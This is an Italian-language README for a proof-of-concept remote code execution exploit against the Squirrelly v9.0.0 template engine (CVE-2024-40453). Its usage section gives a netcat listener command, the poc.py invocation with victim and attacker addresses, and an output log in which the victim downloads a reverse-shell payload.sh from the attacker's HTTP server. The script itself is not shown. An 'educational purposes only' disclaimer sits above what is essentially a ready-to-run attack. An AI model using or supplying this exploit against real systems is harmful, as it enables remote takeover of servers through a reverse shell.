CVE-2024-40453 - Squirrelly v9.0.0 RCE

Dichiarazione di non responsabilità:

Questo script è solo a scopo educativo.

Non utilizzarlo per scopi illegali.

Se lo fai, è interamente di tua responsabilità; non sono responsabile per eventuali abusi.

Descrizione

Questo script crea una reverse shell chiamata payload.sh nella directory corrente.

Successivamente, ospita un server HTTP sulla porta 80 per consentire alla vittima di scaricare il file payload.sh.

È necessario avviare un listener sulla macchina dell'attaccante.

Il server HTTP si spegne dopo 3 secondi per permettere alla vittima di scaricare ed eseguire payload.sh.

SPIEGAZIONE DELLO SFRUTTAMENTO

Sulla base delle seguenti informazioni, è stato sviluppato questo POC. https://samuzora.com/posts/cve-2024-40453

UTILIZZO

Avvia il tuo listener

rlwrap nc -nvlp 3000

Esegui il payload

# python3 poc.py -rhost <VICTIM_IP> -rport <VICTIM_PORT> -lhost <ATTACKER_IP> -lport <ATTACKER_LISTENER_PORT>

python3 poc.py -rhost 172.16.0.2 -rport 3000 -lhost 172.16.0.1 -lport 3000
[+] Payload creato in payload.sh
[*] Avvio server HTTP sulla porta 80
[*] Attivazione esecuzione remota
172.16.0.2 - - [13/Giu/2025 22:21:10] "GET /payload.sh HTTP/1.1" 200 -
[*] Arresto server HTTP sulla porta 80
[!] Controlla il tuo listener!